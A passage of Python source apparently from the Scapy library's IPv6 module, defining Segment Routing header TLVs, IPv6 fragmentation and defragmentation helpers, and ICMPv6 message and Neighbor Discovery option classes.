1029 0: "Pad1 TLV",
1030 1: "Ingress Node TLV", # draft 06
1031 2: "Egress Node TLV", # draft 06
1032 4: "PadN TLV",
1033 5: "HMAC TLV",
1034}
1037class IPv6ExtHdrSegmentRoutingTLV(Packet):
1038 name = "IPv6 Option Header Segment Routing - Generic TLV"
1039 # RFC 8754 sect 2.1
1040 fields_desc = [ByteEnumField("type", None, _segment_routing_header_tlvs),
1041 ByteField("len", 0),
1042 StrLenField("value", "", length_from=lambda pkt: pkt.len)]
1044 def extract_padding(self, p):
1045 return b"", p
1047 registered_sr_tlv = {}
1049 @classmethod
1050 def register_variant(cls):
1051 cls.registered_sr_tlv[cls.type.default] = cls
1053 @classmethod
1054 def dispatch_hook(cls, pkt=None, *args, **kargs):
1055 if pkt:
1056 tmp_type = ord(pkt[:1])
1057 return cls.registered_sr_tlv.get(tmp_type, cls)
1058 return cls
1061class IPv6ExtHdrSegmentRoutingTLVIngressNode(IPv6ExtHdrSegmentRoutingTLV):
1062 name = "IPv6 Option Header Segment Routing - Ingress Node TLV"
1063 # draft-ietf-6man-segment-routing-header-06 3.1.1
1064 fields_desc = [ByteEnumField("type", 1, _segment_routing_header_tlvs),
1065 ByteField("len", 18),
1066 ByteField("reserved", 0),
1067 ByteField("flags", 0),
1068 IP6Field("ingress_node", "::1")]
1071class IPv6ExtHdrSegmentRoutingTLVEgressNode(IPv6ExtHdrSegmentRoutingTLV):
1072 name = "IPv6 Option Header Segment Routing - Egress Node TLV"
1073 # draft-ietf-6man-segment-routing-header-06 3.1.2
1074 fields_desc = [ByteEnumField("type", 2, _segment_routing_header_tlvs),
1075 ByteField("len", 18),
1076 ByteField("reserved", 0),
1077 ByteField("flags", 0),
1078 IP6Field("egress_node", "::1")]
1081class IPv6ExtHdrSegmentRoutingTLVPad1(IPv6ExtHdrSegmentRoutingTLV):
1082 name = "IPv6 Option Header Segment Routing - Pad1 TLV"
1083 # RFC8754 sect 2.1.1.1, Pad1 is a single byte
1084 fields_desc = [ByteEnumField("type", 0, _segment_routing_header_tlvs)]
1087class IPv6ExtHdrSegmentRoutingTLVPadN(IPv6ExtHdrSegmentRoutingTLV):
1088 name = "IPv6 Option Header Segment Routing - PadN TLV"
1089 # RFC8754 sect 2.1.1.2
1090 fields_desc = [ByteEnumField("type", 4, _segment_routing_header_tlvs),
1091 FieldLenField("len", None, length_of="padding", fmt="B"),
1092 StrLenField("padding", b"\x00", length_from=lambda pkt: pkt.len)] # noqa: E501
1095class IPv6ExtHdrSegmentRoutingTLVHMAC(IPv6ExtHdrSegmentRoutingTLV):
1096 name = "IPv6 Option Header Segment Routing - HMAC TLV"
1097 # RFC8754 sect 2.1.2
1098 fields_desc = [ByteEnumField("type", 5, _segment_routing_header_tlvs),
1099 FieldLenField("len", None, length_of="hmac",
1100 adjust=lambda _, x: x + 48),
1101 BitField("D", 0, 1),
1102 BitField("reserved", 0, 15),
1103 IntField("hmackeyid", 0),
1104 StrLenField("hmac", "",
1105 length_from=lambda pkt: pkt.len - 48)]
1108class IPv6ExtHdrSegmentRouting(_IPv6ExtHdr):
1109 name = "IPv6 Option Header Segment Routing"
1110 # RFC8754 sect 2. + flag bits from draft 06
1111 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
1112 ByteField("len", None),
1113 ByteField("type", 4),
1114 ByteField("segleft", None),
1115 ByteField("lastentry", None),
1116 BitField("unused1", 0, 1),
1117 BitField("protected", 0, 1),
1118 BitField("oam", 0, 1),
1119 BitField("alert", 0, 1),
1120 BitField("hmac", 0, 1),
1121 BitField("unused2", 0, 3),
1122 ShortField("tag", 0),
1123 IP6ListField("addresses", ["::1"],
1124 count_from=lambda pkt: (pkt.lastentry + 1)),
1125 PacketListField("tlv_objects", [],
1126 IPv6ExtHdrSegmentRoutingTLV,
1127 length_from=lambda pkt: 8 * pkt.len - 16 * (
1128 pkt.lastentry + 1
1129 ))]
1131 overload_fields = {IPv6: {"nh": 43}}
1133 def post_build(self, pkt, pay):
1135 if self.len is None:
1137 # The extension must be align on 8 bytes
1138 tmp_mod = (-len(pkt) + 8) % 8
1139 if tmp_mod == 1:
1140 tlv = IPv6ExtHdrSegmentRoutingTLVPad1()
1141 pkt += raw(tlv)
1142 elif tmp_mod >= 2:
1143 # Add the padding extension
1144 tmp_pad = b"\x00" * (tmp_mod - 2)
1145 tlv = IPv6ExtHdrSegmentRoutingTLVPadN(padding=tmp_pad)
1146 pkt += raw(tlv)
1148 tmp_len = (len(pkt) - 8) // 8
1149 pkt = pkt[:1] + struct.pack("B", tmp_len) + pkt[2:]
1151 if self.segleft is None:
1152 tmp_len = len(self.addresses)
1153 if tmp_len:
1154 tmp_len -= 1
1155 pkt = pkt[:3] + struct.pack("B", tmp_len) + pkt[4:]
1157 if self.lastentry is None:
1158 lastentry = len(self.addresses)
1159 if lastentry == 0:
1160 warning(
1161 "IPv6ExtHdrSegmentRouting(): the addresses list is empty!"
1162 )
1163 else:
1164 lastentry -= 1
1165 pkt = pkt[:4] + struct.pack("B", lastentry) + pkt[5:]
1167 return _IPv6ExtHdr.post_build(self, pkt, pay)
1170# Fragmentation Header #
1172class IPv6ExtHdrFragment(_IPv6ExtHdr):
1173 name = "IPv6 Extension Header - Fragmentation header"
1174 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
1175 BitField("res1", 0, 8),
1176 BitField("offset", 0, 13),
1177 BitField("res2", 0, 2),
1178 BitField("m", 0, 1),
1179 IntField("id", None)]
1180 overload_fields = {IPv6: {"nh": 44}}
1182 def guess_payload_class(self, p):
1183 if self.offset > 0:
1184 return Raw
1185 else:
1186 return super(IPv6ExtHdrFragment, self).guess_payload_class(p)
1189def defragment6(packets):
1190 """
1191 Performs defragmentation of a list of IPv6 packets. Packets are reordered.
1192 Crap is dropped. What lacks is completed by 'X' characters.
1193 """
1195 # Remove non fragments
1196 lst = [x for x in packets if IPv6ExtHdrFragment in x]
1197 if not lst:
1198 return []
1200 id = lst[0][IPv6ExtHdrFragment].id
1202 llen = len(lst)
1203 lst = [x for x in lst if x[IPv6ExtHdrFragment].id == id]
1204 if len(lst) != llen:
1205 warning("defragment6: some fragmented packets have been removed from list") # noqa: E501
1207 # reorder fragments
1208 res = sorted(lst, key=lambda p: p[IPv6ExtHdrFragment].offset)
1210 # regenerate the fragmentable part
1211 fragmentable = bytearray()
1212 frag_hdr_len = 8
1213 for p in res:
1214 q = p[IPv6ExtHdrFragment]
1215 offset = 8 * q.offset
1216 if offset != len(fragmentable):
1217 warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset)) # noqa: E501
1218 frag_data_len = p[IPv6].plen
1219 if frag_data_len is not None:
1220 frag_data_len -= frag_hdr_len
1221 fragmentable.extend(b"X" * (offset - len(fragmentable)))
1222 fragmentable.extend(raw(q.payload)[:frag_data_len])
1224 # Regenerate the unfragmentable part.
1225 q = res[0].copy()
1226 nh = q[IPv6ExtHdrFragment].nh
1227 q[IPv6ExtHdrFragment].underlayer.nh = nh
1228 q[IPv6ExtHdrFragment].underlayer.plen = len(fragmentable)
1229 del q[IPv6ExtHdrFragment].underlayer.payload
1230 q /= conf.raw_layer(load=bytes(fragmentable))
1231 del q.plen
1233 if q[IPv6].underlayer:
1234 q[IPv6] = IPv6(raw(q[IPv6]))
1235 else:
1236 q = IPv6(raw(q))
1237 return q
1240def fragment6(pkt, fragSize):
1241 """
1242 Performs fragmentation of an IPv6 packet. 'fragSize' argument is the
1243 expected maximum size of fragment data (MTU). The list of packets is
1244 returned.
1246 If packet does not contain an IPv6ExtHdrFragment class, it is added to
1247 first IPv6 layer found. If no IPv6 layer exists packet is returned in
1248 result list unmodified.
1249 """
1251 pkt = pkt.copy()
1253 if IPv6ExtHdrFragment not in pkt:
1254 if IPv6 not in pkt:
1255 return [pkt]
1257 layer3 = pkt[IPv6]
1258 data = layer3.payload
1259 frag = IPv6ExtHdrFragment(nh=layer3.nh)
1261 layer3.remove_payload()
1262 del layer3.nh
1263 del layer3.plen
1265 frag.add_payload(data)
1266 layer3.add_payload(frag)
1268 # If the payload is bigger than 65535, a Jumbo payload must be used, as
1269 # an IPv6 packet can't be bigger than 65535 bytes.
1270 if len(raw(pkt[IPv6ExtHdrFragment])) > 65535:
1271 warning("An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.") # noqa: E501
1272 return []
1274 s = raw(pkt) # for instantiation to get upper layer checksum right
1276 if len(s) <= fragSize:
1277 return [pkt]
1279 # Fragmentable part : fake IPv6 for Fragmentable part length computation
1280 fragPart = pkt[IPv6ExtHdrFragment].payload
1281 tmp = raw(IPv6(src="::1", dst="::1") / fragPart)
1282 fragPartLen = len(tmp) - 40 # basic IPv6 header length
1283 fragPartStr = s[-fragPartLen:]
1285 # Grab Next Header for use in Fragment Header
1286 nh = pkt[IPv6ExtHdrFragment].nh
1288 # Keep fragment header
1289 fragHeader = pkt[IPv6ExtHdrFragment]
1290 del fragHeader.payload # detach payload
1292 # Unfragmentable Part
1293 unfragPartLen = len(s) - fragPartLen - 8
1294 unfragPart = pkt
1295 del pkt[IPv6ExtHdrFragment].underlayer.payload # detach payload
1297 # Cut the fragmentable part to fit fragSize. Inner fragments have
1298 # a length that is an integer multiple of 8 octets. last Frag MTU
1299 # can be anything below MTU
1300 lastFragSize = fragSize - unfragPartLen - 8
1301 innerFragSize = lastFragSize - (lastFragSize % 8)
1303 if lastFragSize <= 0 or innerFragSize == 0:
1304 warning("Provided fragment size value is too low. " +
1305 "Should be more than %d" % (unfragPartLen + 8))
1306 return [unfragPart / fragHeader / fragPart]
1308 remain = fragPartStr
1309 res = []
1310 fragOffset = 0 # offset, incremented during creation
1311 fragId = random.randint(0, 0xffffffff) # random id ...
1312 if fragHeader.id is not None: # ... except id provided by user
1313 fragId = fragHeader.id
1314 fragHeader.m = 1
1315 fragHeader.id = fragId
1316 fragHeader.nh = nh
1318 # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ...
1319 while True:
1320 if (len(remain) > lastFragSize):
1321 tmp = remain[:innerFragSize]
1322 remain = remain[innerFragSize:]
1323 fragHeader.offset = fragOffset # update offset
1324 fragOffset += (innerFragSize // 8) # compute new one
1325 if IPv6 in unfragPart:
1326 unfragPart[IPv6].plen = None
1327 tempo = unfragPart / fragHeader / conf.raw_layer(load=tmp)
1328 res.append(tempo)
1329 else:
1330 fragHeader.offset = fragOffset # update offSet
1331 fragHeader.m = 0
1332 if IPv6 in unfragPart:
1333 unfragPart[IPv6].plen = None
1334 tempo = unfragPart / fragHeader / conf.raw_layer(load=remain)
1335 res.append(tempo)
1336 break
1337 return res
1340#############################################################################
1341#############################################################################
1342# ICMPv6* Classes #
1343#############################################################################
1344#############################################################################
1347icmp6typescls = {1: "ICMPv6DestUnreach",
1348 2: "ICMPv6PacketTooBig",
1349 3: "ICMPv6TimeExceeded",
1350 4: "ICMPv6ParamProblem",
1351 128: "ICMPv6EchoRequest",
1352 129: "ICMPv6EchoReply",
1353 130: "ICMPv6MLQuery", # MLDv1 or MLDv2
1354 131: "ICMPv6MLReport",
1355 132: "ICMPv6MLDone",
1356 133: "ICMPv6ND_RS",
1357 134: "ICMPv6ND_RA",
1358 135: "ICMPv6ND_NS",
1359 136: "ICMPv6ND_NA",
1360 137: "ICMPv6ND_Redirect",
1361 # 138: Do Me - RFC 2894 - Seems painful
1362 139: "ICMPv6NIQuery",
1363 140: "ICMPv6NIReply",
1364 141: "ICMPv6ND_INDSol",
1365 142: "ICMPv6ND_INDAdv",
1366 143: "ICMPv6MLReport2",
1367 144: "ICMPv6HAADRequest",
1368 145: "ICMPv6HAADReply",
1369 146: "ICMPv6MPSol",
1370 147: "ICMPv6MPAdv",
1371 # 148: Do Me - SEND related - RFC 3971
1372 # 149: Do Me - SEND related - RFC 3971
1373 151: "ICMPv6MRD_Advertisement",
1374 152: "ICMPv6MRD_Solicitation",
1375 153: "ICMPv6MRD_Termination",
1376 # 154: Do Me - FMIPv6 Messages - RFC 5568
1377 155: "ICMPv6RPL", # RFC 6550
1378 }
1380icmp6typesminhdrlen = {1: 8,
1381 2: 8,
1382 3: 8,
1383 4: 8,
1384 128: 8,
1385 129: 8,
1386 130: 24,
1387 131: 24,
1388 132: 24,
1389 133: 8,
1390 134: 16,
1391 135: 24,
1392 136: 24,
1393 137: 40,
1394 # 139:
1395 # 140
1396 141: 8,
1397 142: 8,
1398 143: 8,
1399 144: 8,
1400 145: 8,
1401 146: 8,
1402 147: 8,
1403 151: 8,
1404 152: 4,
1405 153: 4,
1406 155: 4
1407 }
1409icmp6types = {1: "Destination unreachable",
1410 2: "Packet too big",
1411 3: "Time exceeded",
1412 4: "Parameter problem",
1413 100: "Private Experimentation",
1414 101: "Private Experimentation",
1415 128: "Echo Request",
1416 129: "Echo Reply",
1417 130: "MLD Query",
1418 131: "MLD Report",
1419 132: "MLD Done",
1420 133: "Router Solicitation",
1421 134: "Router Advertisement",
1422 135: "Neighbor Solicitation",
1423 136: "Neighbor Advertisement",
1424 137: "Redirect Message",
1425 138: "Router Renumbering",
1426 139: "ICMP Node Information Query",
1427 140: "ICMP Node Information Response",
1428 141: "Inverse Neighbor Discovery Solicitation Message",
1429 142: "Inverse Neighbor Discovery Advertisement Message",
1430 143: "MLD Report Version 2",
1431 144: "Home Agent Address Discovery Request Message",
1432 145: "Home Agent Address Discovery Reply Message",
1433 146: "Mobile Prefix Solicitation",
1434 147: "Mobile Prefix Advertisement",
1435 148: "Certification Path Solicitation",
1436 149: "Certification Path Advertisement",
1437 151: "Multicast Router Advertisement",
1438 152: "Multicast Router Solicitation",
1439 153: "Multicast Router Termination",
1440 155: "RPL Control Message",
1441 200: "Private Experimentation",
1442 201: "Private Experimentation"}
1445class _ICMPv6(Packet):
1446 name = "ICMPv6 dummy class"
1447 overload_fields = {IPv6: {"nh": 58}}
1449 def post_build(self, p, pay):
1450 p += pay
1451 if self.cksum is None:
1452 chksum = in6_chksum(58, self.underlayer, p)
1453 p = p[:2] + struct.pack("!H", chksum) + p[4:]
1454 return p
1456 def hashret(self):
1457 return self.payload.hashret()
1459 def answers(self, other):
1460 # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ...
1461 if (isinstance(self.underlayer, IPerror6) or
1462 isinstance(self.underlayer, _IPv6ExtHdr) and
1463 isinstance(other, _ICMPv6)):
1464 if not ((self.type == other.type) and
1465 (self.code == other.code)):
1466 return 0
1467 return 1
1468 return 0
1471class _ICMPv6Error(_ICMPv6):
1472 name = "ICMPv6 errors dummy class"
1474 def guess_payload_class(self, p):
1475 return IPerror6
1478class ICMPv6Unknown(_ICMPv6):
1479 name = "Scapy6 ICMPv6 fallback class"
1480 fields_desc = [ByteEnumField("type", 1, icmp6types),
1481 ByteField("code", 0),
1482 XShortField("cksum", None),
1483 StrField("msgbody", "")]
1486# RFC 2460 #
1488class ICMPv6DestUnreach(_ICMPv6Error):
1489 name = "ICMPv6 Destination Unreachable"
1490 fields_desc = [ByteEnumField("type", 1, icmp6types),
1491 ByteEnumField("code", 0, {0: "No route to destination",
1492 1: "Communication with destination administratively prohibited", # noqa: E501
1493 2: "Beyond scope of source address", # noqa: E501
1494 3: "Address unreachable",
1495 4: "Port unreachable"}),
1496 XShortField("cksum", None),
1497 ByteField("length", 0),
1498 X3BytesField("unused", 0),
1499 _ICMPExtensionPadField(),
1500 _ICMPExtensionField()]
1501 post_dissection = _ICMP_extpad_post_dissection
1504class ICMPv6PacketTooBig(_ICMPv6Error):
1505 name = "ICMPv6 Packet Too Big"
1506 fields_desc = [ByteEnumField("type", 2, icmp6types),
1507 ByteField("code", 0),
1508 XShortField("cksum", None),
1509 IntField("mtu", 1280)]
1512class ICMPv6TimeExceeded(_ICMPv6Error):
1513 name = "ICMPv6 Time Exceeded"
1514 fields_desc = [ByteEnumField("type", 3, icmp6types),
1515 ByteEnumField("code", 0, {0: "hop limit exceeded in transit", # noqa: E501
1516 1: "fragment reassembly time exceeded"}), # noqa: E501
1517 XShortField("cksum", None),
1518 ByteField("length", 0),
1519 X3BytesField("unused", 0),
1520 _ICMPExtensionPadField(),
1521 _ICMPExtensionField()]
1522 post_dissection = _ICMP_extpad_post_dissection
1525# The default pointer value is set to the next header field of
1526# the encapsulated IPv6 packet
1529class ICMPv6ParamProblem(_ICMPv6Error):
1530 name = "ICMPv6 Parameter Problem"
1531 fields_desc = [ByteEnumField("type", 4, icmp6types),
1532 ByteEnumField(
1533 "code", 0,
1534 {0: "erroneous header field encountered",
1535 1: "unrecognized Next Header type encountered",
1536 2: "unrecognized IPv6 option encountered",
1537 3: "first fragment has incomplete header chain"}),
1538 XShortField("cksum", None),
1539 IntField("ptr", 6)]
1542class ICMPv6EchoRequest(_ICMPv6):
1543 name = "ICMPv6 Echo Request"
1544 fields_desc = [ByteEnumField("type", 128, icmp6types),
1545 ByteField("code", 0),
1546 XShortField("cksum", None),
1547 XShortField("id", 0),
1548 XShortField("seq", 0),
1549 StrField("data", "")]
1551 def mysummary(self):
1552 return self.sprintf("%name% (id: %id% seq: %seq%)")
1554 def hashret(self):
1555 return struct.pack("HH", self.id, self.seq) + self.payload.hashret()
1558class ICMPv6EchoReply(ICMPv6EchoRequest):
1559 name = "ICMPv6 Echo Reply"
1560 type = 129
1562 def answers(self, other):
1563 # We could match data content between request and reply.
1564 return (isinstance(other, ICMPv6EchoRequest) and
1565 self.id == other.id and self.seq == other.seq and
1566 self.data == other.data)
1569# ICMPv6 Multicast Listener Discovery (RFC2710) #
1571# tous les messages MLD sont emis avec une adresse source lien-locale
1572# -> Y veiller dans le post_build si aucune n'est specifiee
1573# La valeur de Hop-Limit doit etre de 1
1574# "and an IPv6 Router Alert option in a Hop-by-Hop Options
1575# header. (The router alert option is necessary to cause routers to
1576# examine MLD messages sent to multicast addresses in which the router
1577# itself has no interest"
1578class _ICMPv6ML(_ICMPv6):
1579 fields_desc = [ByteEnumField("type", 130, icmp6types),
1580 ByteField("code", 0),
1581 XShortField("cksum", None),
1582 ShortField("mrd", 0),
1583 ShortField("reserved", 0),
1584 IP6Field("mladdr", "::")]
1586# general queries are sent to the link-scope all-nodes multicast
1587# address ff02::1, with a multicast address field of 0 and a MRD of
1588# [Query Response Interval]
1589# Default value for mladdr is set to 0 for a General Query, and
1590# overloaded by the user for a Multicast Address specific query
1591# TODO : See what we can do to automatically include a Router Alert
1592# Option in a Destination Option Header.
1595class ICMPv6MLQuery(_ICMPv6ML): # RFC 2710
1596 name = "MLD - Multicast Listener Query"
1597 type = 130
1598 mrd = 10000 # 10s for mrd
1599 mladdr = "::"
1600 overload_fields = {IPv6: {"dst": "ff02::1", "hlim": 1, "nh": 58}}
1603# TODO : See what we can do to automatically include a Router Alert
1604# Option in a Destination Option Header.
1605class ICMPv6MLReport(_ICMPv6ML): # RFC 2710
1606 name = "MLD - Multicast Listener Report"
1607 type = 131
1608 overload_fields = {IPv6: {"hlim": 1, "nh": 58}}
1610 def answers(self, query):
1611 """Check the query type"""
1612 return ICMPv6MLQuery in query
1614# When a node ceases to listen to a multicast address on an interface,
1615# it SHOULD send a single Done message to the link-scope all-routers
1616# multicast address (FF02::2), carrying in its multicast address field
1617# the address to which it is ceasing to listen
1618# TODO : See what we can do to automatically include a Router Alert
1619# Option in a Destination Option Header.
1622class ICMPv6MLDone(_ICMPv6ML): # RFC 2710
1623 name = "MLD - Multicast Listener Done"
1624 type = 132
1625 overload_fields = {IPv6: {"dst": "ff02::2", "hlim": 1, "nh": 58}}
1628# Multicast Listener Discovery Version 2 (MLDv2) (RFC3810) #
1630class ICMPv6MLQuery2(_ICMPv6): # RFC 3810
1631 name = "MLDv2 - Multicast Listener Query"
1632 fields_desc = [ByteEnumField("type", 130, icmp6types),
1633 ByteField("code", 0),
1634 XShortField("cksum", None),
1635 ShortField("mrd", 10000),
1636 ShortField("reserved", 0),
1637 IP6Field("mladdr", "::"),
1638 BitField("Resv", 0, 4),
1639 BitField("S", 0, 1),
1640 BitField("QRV", 0, 3),
1641 ByteField("QQIC", 0),
1642 ShortField("sources_number", None),
1643 IP6ListField("sources", [],
1644 count_from=lambda pkt: pkt.sources_number)]
1646 # RFC8810 - 4. Message Formats
1647 overload_fields = {IPv6: {"dst": "ff02::1", "hlim": 1, "nh": 58}}
1649 def post_build(self, packet, payload):
1650 """Compute the 'sources_number' field when needed"""
1651 if self.sources_number is None:
1652 srcnum = struct.pack("!H", len(self.sources))
1653 packet = packet[:26] + srcnum + packet[28:]
1654 return _ICMPv6.post_build(self, packet, payload)
1657class ICMPv6MLDMultAddrRec(Packet):
1658 name = "ICMPv6 MLDv2 - Multicast Address Record"
1659 fields_desc = [ByteField("rtype", 4),
1660 FieldLenField("auxdata_len", None,
1661 length_of="auxdata",
1662 fmt="B"),
1663 FieldLenField("sources_number", None,
1664 length_of="sources",
1665 adjust=lambda p, num: num // 16),
1666 IP6Field("dst", "::"),
1667 IP6ListField("sources", [],
1668 length_from=lambda p: 16 * p.sources_number),
1669 StrLenField("auxdata", "",
1670 length_from=lambda p: p.auxdata_len)]
1672 def default_payload_class(self, packet):
1673 """Multicast Address Record followed by another one"""
1674 return self.__class__
1677class ICMPv6MLReport2(_ICMPv6): # RFC 3810
1678 name = "MLDv2 - Multicast Listener Report"
1679 fields_desc = [ByteEnumField("type", 143, icmp6types),
1680 ByteField("res", 0),
1681 XShortField("cksum", None),
1682 ShortField("reserved", 0),
1683 ShortField("records_number", None),
1684 PacketListField("records", [],
1685 ICMPv6MLDMultAddrRec,
1686 count_from=lambda p: p.records_number)]
1688 # RFC8810 - 4. Message Formats
1689 overload_fields = {IPv6: {"dst": "ff02::16", "hlim": 1, "nh": 58}}
1691 def post_build(self, packet, payload):
1692 """Compute the 'records_number' field when needed"""
1693 if self.records_number is None:
1694 recnum = struct.pack("!H", len(self.records))
1695 packet = packet[:6] + recnum + packet[8:]
1696 return _ICMPv6.post_build(self, packet, payload)
1698 def answers(self, query):
1699 """Check the query type"""
1700 return isinstance(query, ICMPv6MLQuery2)
1703# ICMPv6 MRD - Multicast Router Discovery (RFC 4286) #
1705# TODO:
1706# - 04/09/06 troglocan : find a way to automatically add a router alert
1707# option for all MRD packets. This could be done in a specific
1708# way when IPv6 is the under layer with some specific keyword
1709# like 'exthdr'. This would allow to keep compatibility with
1710# providing IPv6 fields to be overloaded in fields_desc.
1711#
1712# At the moment, if user inserts an IPv6 Router alert option
1713# none of the IPv6 default values of IPv6 layer will be set.
1715class ICMPv6MRD_Advertisement(_ICMPv6):
1716 name = "ICMPv6 Multicast Router Discovery Advertisement"
1717 fields_desc = [ByteEnumField("type", 151, icmp6types),
1718 ByteField("advinter", 20),
1719 XShortField("cksum", None),
1720 ShortField("queryint", 0),
1721 ShortField("robustness", 0)]
1722 overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::2"}}
1723 # IPv6 Router Alert requires manual inclusion
1725 def extract_padding(self, s):
1726 return s[:8], s[8:]
1729class ICMPv6MRD_Solicitation(_ICMPv6):
1730 name = "ICMPv6 Multicast Router Discovery Solicitation"
1731 fields_desc = [ByteEnumField("type", 152, icmp6types),
1732 ByteField("res", 0),
1733 XShortField("cksum", None)]
1734 overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::2"}}
1735 # IPv6 Router Alert requires manual inclusion
1737 def extract_padding(self, s):
1738 return s[:4], s[4:]
1741class ICMPv6MRD_Termination(_ICMPv6):
1742 name = "ICMPv6 Multicast Router Discovery Termination"
1743 fields_desc = [ByteEnumField("type", 153, icmp6types),
1744 ByteField("res", 0),
1745 XShortField("cksum", None)]
1746 overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::6A"}}
1747 # IPv6 Router Alert requires manual inclusion
1749 def extract_padding(self, s):
1750 return s[:4], s[4:]
1753# ICMPv6 Neighbor Discovery (RFC 2461) #
1755icmp6ndopts = {1: "Source Link-Layer Address",
1756 2: "Target Link-Layer Address",
1757 3: "Prefix Information",
1758 4: "Redirected Header",
1759 5: "MTU",
1760 6: "NBMA Shortcut Limit Option", # RFC2491
1761 7: "Advertisement Interval Option",
1762 8: "Home Agent Information Option",
1763 9: "Source Address List",
1764 10: "Target Address List",
1765 11: "CGA Option", # RFC 3971
1766 12: "RSA Signature Option", # RFC 3971
1767 13: "Timestamp Option", # RFC 3971
1768 14: "Nonce option", # RFC 3971
1769 15: "Trust Anchor Option", # RFC 3971
1770 16: "Certificate Option", # RFC 3971
1771 17: "IP Address Option", # RFC 4068
1772 18: "New Router Prefix Information Option", # RFC 4068
1773 19: "Link-layer Address Option", # RFC 4068
1774 20: "Neighbor Advertisement Acknowledgement Option",
1775 21: "CARD Request Option", # RFC 4065/4066/4067
1776 22: "CARD Reply Option", # RFC 4065/4066/4067
1777 23: "MAP Option", # RFC 4140
1778 24: "Route Information Option", # RFC 4191
1779 25: "Recursive DNS Server Option",
1780 26: "IPv6 Router Advertisement Flags Option"
1781 }
1783icmp6ndoptscls = {1: "ICMPv6NDOptSrcLLAddr",
1784 2: "ICMPv6NDOptDstLLAddr",
1785 3: "ICMPv6NDOptPrefixInfo",
1786 4: "ICMPv6NDOptRedirectedHdr",
1787 5: "ICMPv6NDOptMTU",
1788 6: "ICMPv6NDOptShortcutLimit",
1789 7: "ICMPv6NDOptAdvInterval",
1790 8: "ICMPv6NDOptHAInfo",
1791 9: "ICMPv6NDOptSrcAddrList",
1792 10: "ICMPv6NDOptTgtAddrList",
1793 # 11: ICMPv6NDOptCGA, RFC3971 - contrib/send.py
1794 # 12: ICMPv6NDOptRsaSig, RFC3971 - contrib/send.py
1795 # 13: ICMPv6NDOptTmstp, RFC3971 - contrib/send.py
1796 # 14: ICMPv6NDOptNonce, RFC3971 - contrib/send.py
1797 # 15: Do Me,
1798 # 16: Do Me,
1799 17: "ICMPv6NDOptIPAddr",
1800 18: "ICMPv6NDOptNewRtrPrefix",
1801 19: "ICMPv6NDOptLLA",
1802 # 18: Do Me,
1803 # 19: Do Me,
1804 # 20: Do Me,
1805 # 21: Do Me,
1806 # 22: Do Me,
1807 23: "ICMPv6NDOptMAP",
1808 24: "ICMPv6NDOptRouteInfo",
1809 25: "ICMPv6NDOptRDNSS",
1810 26: "ICMPv6NDOptEFA",
1811 31: "ICMPv6NDOptDNSSL",
1812 37: "ICMPv6NDOptCaptivePortal",
1813 38: "ICMPv6NDOptPREF64",
1814 }
1816icmp6ndraprefs = {0: "Medium (default)",
1817 1: "High",
1818 2: "Reserved",
1819 3: "Low"} # RFC 4191
1822class _ICMPv6NDGuessPayload:
1823 name = "Dummy ND class that implements guess_payload_class()"
1825 def guess_payload_class(self, p):
1826 if len(p) > 1:
1827 return icmp6ndoptscls.get(p[0], ICMPv6NDOptUnknown)
1830# Beginning of ICMPv6 Neighbor Discovery Options.
1832class ICMPv6NDOptDataField(StrLenField):
1833 __slots__ = ["strip_zeros"]
1835 def __init__(self, name, default, strip_zeros=False, **kwargs):
1836 super().__init__(name, default, **kwargs)
1837 self.strip_zeros = strip_zeros
1839 def i2len(self, pkt, x):
1840 return len(self.i2m(pkt, x))
1842 def i2m(self, pkt, x):
1843 r = (len(x) + 2) % 8
1844 if r:
1845 x += b"\x00" * (8 - r)
1846 return x
1848 def m2i(self, pkt, x):
1849 if self.strip_zeros:
1850 x = x.rstrip(b"\x00")
1851 return x
1854class ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet):
1855 name = "ICMPv6 Neighbor Discovery Option - Scapy Unimplemented"
1856 fields_desc = [ByteField("type", 0),
1857 FieldLenField("len", None, length_of="data", fmt="B",
1858 adjust=lambda pkt, x: (2 + x) // 8),
1859 ICMPv6NDOptDataField("data", "", strip_zeros=False,
1860 length_from=lambda pkt:
1861 8 * max(pkt.len, 1) - 2)]
1863# NOTE: len includes type and len field. Expressed in unit of 8 bytes
1864# TODO: Revoir le coup du ETHER_ANY
1867class ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet):
1868 name = "ICMPv6 Neighbor Discovery Option - Source Link-Layer Address"
1869 fields_desc = [ByteField("type", 1),
1870 ByteField("len", 1),
1871 SourceMACField("lladdr")]
1873 def mysummary(self):
1874 return self.sprintf("%name% %lladdr%")
1877class ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr):
1878 name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address"
1879 type = 2
1882class ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet):
1883 name = "ICMPv6 Neighbor Discovery Option - Prefix Information"
1884 fields_desc = [ByteField("type", 3),
1885 ByteField("len", 4),
1886 ByteField("prefixlen", 64),
1887 BitField("L", 1, 1),
1888 BitField("A", 1, 1),
1889 BitField("R", 0, 1),
1890 BitField("res1", 0, 5),
1891 XIntField("validlifetime", 0xffffffff),
1892 XIntField("preferredlifetime", 0xffffffff),
1893 XIntField("res2", 0x00000000),
1894 IP6Field("prefix", "::")]
1896 def mysummary(self):
1897 return self.sprintf("%name% %prefix%/%prefixlen% "
1898 "On-link %L% Autonomous Address %A% "
1899 "Router Address %R%")
1901# TODO: We should also limit the size of included packet to something
1902# like (initiallen - 40 - 2)
1905class TruncPktLenField(PacketLenField):
1906 def i2m(self, pkt, x):
1907 s = bytes(x)
1908 tmp_len = len(s)
1909 return s[:tmp_len - (tmp_len % 8)]
1911 def i2len(self, pkt, i):
1912 return len(self.i2m(pkt, i))
1915class ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet):
1916 name = "ICMPv6 Neighbor Discovery Option - Redirected Header"
1917 fields_desc = [ByteField("type", 4),
1918 FieldLenField("len", None, length_of="pkt", fmt="B",
1919 adjust=lambda pkt, x: (x + 8) // 8),
1920 MayEnd(StrFixedLenField("res", b"\x00" * 6, 6)),
